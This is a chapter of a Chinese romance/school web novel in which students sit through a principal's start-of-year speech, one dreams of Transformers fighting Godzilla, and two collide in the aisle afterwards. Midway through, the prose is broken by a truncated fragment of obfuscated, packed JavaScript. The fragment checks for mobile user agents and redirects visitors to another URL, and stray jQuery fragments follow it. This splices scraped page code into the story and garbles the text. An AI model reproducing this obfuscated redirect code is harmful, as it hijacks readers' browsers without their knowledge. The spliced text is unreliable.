36. 校长演讲不如变形金刚好看^……

作品:《年少当时

    八月走到尽头,准高三生的身份正式生效。


    开学典礼这天,全年级被赶进礼堂,听一场叫“不负韶华,奋斗高三”的专题演讲。


    温翊然打着哈欠摸进来,随便找了个位置坐下。屁股刚挨着椅子,才发现旁边坐的是何芯郁。


    他困得没力气换座,索性往椅背上一靠,眼皮直打架。


    何芯郁看了他一眼,小声问:“温翊然,昨晚没睡好?”


    温翊然愣了一下。


    他没想到她会注意到自己没睡好。


    心里忽然暖了一下。


    还是有好朋友的地方好啊!


    他清了清嗓子,努力让自己看起来精神一点:“昨晚和楚屹聊太晚了,没注意时间。”


    说完,他自己都没察觉,嘴角翘了一下。


    “同学们,都高三了,最后努力一把就结束了啊。”


    台上的校长一手拿着稿件,对着固定好的麦克风讲话。话筒发出刺耳的电流声,在礼堂里来回撞。


    “这是最重要的一年。”校长咳了咳嗓子,“最后一个考试,决定你上什么大学,做什么工作,遇见什么样的人。”


    底下一片昏昏欲睡。


    “为了提高本届升学率,”校长翻了翻手里的稿子,“我们邀请了一位学生代表,为大家主持发言——”


    楚屹偏过头,压低声音问何芯郁:“你们谁见李淮念了?”


    何芯郁正盯着讲台发呆,闻言愣了一下,左右看了看。


    “没有。”她说,顿了顿,又补了一句,“他请假了?”


    “不应该啊。”楚屹微微皱眉,“昨天还说今天要发言。”


    何芯郁的目光又往讲台上飘了一下。


    学生代表发言。


    是他吗?


    话筒的电流声还在响,校长低头看着手里的稿子,似乎在等什么。


    何芯郁忽然有点紧张。


    脚步声停止。


    一位少年站立在舞台中央。聚光灯打下来,白衬衣,黑长裤,简简单单的校服穿在他身上,却格外妥帖。


    何芯郁立刻直起身。


    ——真的是他。


    “各位领导,各位老师,以及所有参加本次活动的同学们,大家好。我是高三(五)班学生代表,李淮念。”


    声音从音响里传出来。


    比暑假前低了一些,像是少年向成人过渡的那个节点,带着一点砂纸磨过木头的质感。


    何芯郁的手指轻轻攥住了校服下摆。


    一个假期不见,他的声音变了。


    但她听着,却莫名觉得安心。


    “很高兴能作为代表发言——”李淮念顿了顿,目光扫过台下。


    何芯郁的心跳漏了一拍。


    他看见她了吗?


    应该……没有吧。


    台下那么多人。


    但她还是忍不住,把背挺得更直了一点。


    “呦,看谁呢?”


    温翊然不知什么时候凑了过来,脑袋几乎要贴上何芯郁的肩膀,顺着她的目光往台上瞄。


    何芯郁没动。连眼睫毛都没颤一下。


    “不会是在看李大学霸吧——”温翊然拖长了尾音,语气里全是“被我抓到了吧”的得意。


    “闭嘴。吵。”


    何芯郁的声音很平,像从牙缝里挤出来的。她的目光还钉在台上那个白衬衫的身影上,一动不动。


    温翊然碰了一鼻子灰,非但不恼,反而更来劲了。他歪着头打量了她两秒,啧了一声:


    “看到骨头就走不动的小狗狗。”


    何芯郁终于动了。


    她偏过头,眼风扫过来,凉凉的。


    温翊然立刻举起双手,做投降状,嘴角却翘得老高。


    台上,李淮念的发言还在继续。


    何芯郁又把头转回去。


    温翊然在她旁边坐下,托着下巴,也往台上看了一眼。


    嗯,是挺帅的。


    但他还是觉得自家楚屹更好看。


    李淮念的发言结束了。


    他在满礼堂少女花痴的目光中走下台,趁着下一个发言的领导还没上场,摸黑穿过过道,坐回赵老师给他留的位置。


    何芯郁注意到了。


    从他从台上消失的那一秒起,她的目光就在暗处搜寻。直到那个黑影猫着腰穿过人群,坐进倒数第三排,她才悄悄收回视线。


    手指在扶手上轻轻蜷了一下。


    ——他戴了那只表。


    温翊然戳了戳刚坐稳的李淮念,脑袋凑过去,压低声音问:“喂,李大学霸,还有多久结束?”


    李淮念低头看了一眼手腕。


    夜光乌龟表,表盘上的小乌龟憨憨地趴着,时针分针都带着笨拙的可爱。


    “才过去七分钟。”他说,声音很淡,“再等等吧。”


    温翊然往后一靠,整个人瘫进椅子里,仰头看着天花板上的吊扇。


    “啊——无聊了。”


    李淮念没接话。


    他的目光往旁边扫了一下——温翊然的另一边,坐着楚屹。那人正襟危坐,看着讲台,侧脸被昏暗的光线勾出轮廓。


    他又把目光收回来,落在手腕上。


    乌龟的眼睛在暗处泛着淡淡的绿光。


    他想起送这只表的人,此刻应该坐在前面的某个位置。


    七分钟。


    还有很久。


    过了一会。


    舞台上走上一个变形金刚,银光闪闪的金属外壳,在聚光灯下泛着冷光。他抬起巨大的机械臂,一把推倒了迎面扑来的哥斯拉。


    哥斯拉轰然倒地,整个礼堂都在震颤。


    大家立刻欢呼雀跃起来,尖叫声、掌声、口哨声响成一片。温翊然张嘴就要跟着喊——


    “温翊然。”


    有人叫他。


    “温翊然,一会再睡觉。”


    他猛地睁开眼。


    头顶是老旧的天花板,吊扇还在吱呀呀地转。台上,一个秃顶的领导正对着话筒念稿子,声音嗡嗡的,像苍蝇。


    温翊然眨眨眼,懵了两秒。


    变形金刚呢?哥斯拉呢?


    赵老师站在他身后,刚收回摸过他脑袋的手,又去管别处的纪律了。


    温翊然缓缓坐直,抹了一把嘴角。


    还好,没流口水。


    他偏头看了一眼旁边的楚屹。楚屹正看着他,嘴角弯着一个若有若无的弧度,像是在忍笑。


    “……看什么看。”温翊然压低声音。


    楚屹没说话,把目光收回去,继续看着讲台。


    但他的嘴角,弯得更高了一点。嘿嘿。


    温翊然把脸转向前方,努力让自己看起来清醒一点。


    台上领导还在念:“……高三这一年,是决定你们命运的一年——”


    温翊然想,命运不命运的不知道。


    但他知道,刚才那个梦,比这个破会精彩多了。


    一个小时的磨炼,总算熬到了头。


    校长终于说出那句所有人都在等的话:“各班回班——”


    话音未落,礼堂里就炸了锅。椅子翻倒的声音、脚步声、喊人的声音混成一片,所有人像开闸的洪水一样往大门口涌。


    温翊然被人流推着往前走,脚还没踩实,身后忽然伸过来一只手——


    有人一把抓住了他的后衣领。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238493|195731||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“哎——你——”


    他踉跄了一步,一脚踩上那人的鞋带。


    完了。


    两个人一前一后摔了下去。


    “我去——”


    温翊然趴在地上,手肘磕得生疼。他龇牙咧嘴地翻过身,刚想骂人,就看见旁边那张熟悉的圆脸。


    罗思琪。


    她也正捂着膝盖,五官皱成一团,疼得眼泪都快出来了。


    两人对视了一秒。


    然后同时开口——


    “你有病啊抓我干嘛!”


    “我看你要摔了想扶你一把好不好!”


    温翊然噎住。


    罗思琪撑着地坐起来,瞪着他:“你自己踩我鞋带,还怪我?”


    “谁让你突然抓我!”温翊然也坐起来,揉着手肘,“我还以为有人要绑架我。”


    罗思琪翻了个白眼:“谁要绑架你,卖得出去吗?”


    “……呵呵”


    人群从他们身边涌过,有人低头看他们一眼,又匆匆走开。两个人就这么坐在礼堂过道中间,一个揉手肘,一个揉膝盖,谁也不急着起来。


    过了几秒,罗思琪忽然笑了。


    温翊然看她:“笑什么?”


    “笑你摔倒的姿势,”罗思琪说,“像只翻过来的乌龟。”


    “你才像乌龟。”温翊然没好气地说,顿了顿,又补了一句,“……谢了啊。”


    罗思琪一愣:“谢什么?”


    “谢你想扶我。”温翊然别开脸,“虽然没扶住。”


    罗思琪“切”了一声,但嘴角弯了一下。


    远处传来何芯郁的声音:“罗思琪——走了——”


    罗思琪应了一声,撑着地站起来,拍了拍裙子上的灰。她低头看了看温翊然,伸出手。


    “起来吧,老龟龟。”


    温翊然握住她的手,借力站起来。


    两个人面对面站着,一个揉手肘,一个揉膝盖。


    “下次走路看着点。”罗思琪说。


    “下次别从后面抓人。”温翊然回嘴。


    罗思琪冲他做了个鬼脸,转身跑了。


    温翊然看着她跑远的背影,低头看了看自己松开的鞋带。


    他刚要弯腰去系,一只手从旁边伸过来,先他一步。


    楚屹不知什么时候站到了他身边,蹲下去,手指熟练地打了个结。


    温翊然低头看着他的发顶,忽然问:“你刚才怎么不扶我?”


    楚屹系好鞋带,站起来,看着他。


    “你身边有人扶了。”


    温翊然愣了一下。


    楚屹把外套递给他——不知道什么时候捡起来的——转身往外走。


    温翊然看着他的背影,忽然笑了。


    他快步跟上去,撞了撞楚屹的肩膀。


    “哎。”


    楚屹没看他。


    “吃醋了?”


    楚屹脚步顿了一下。


    然后他偏过头,看了温翊然一眼,嘴角弯着一个若有若无的弧度。


    “你想多了。”


    “是吗?”温翊然凑近一点,“那你刚才干嘛蹲那么快?”


    楚屹没回答,只是伸手,把他的脸推开。


    温翊然躲开他的手,笑得眼睛弯起来。


    两个人走出礼堂,外面的阳光很刺眼。


    楚屹看了他一眼儿。


    “怎么?”温翊然警觉。


    “没什么。”楚屹收回目光,“走吧,回班。”


    温翊然跟上他,走了两步,忽然又凑过去。


    “你真没吃醋?”


    楚屹加快脚步。


    温翊然追上去,笑声飘在八月的风里。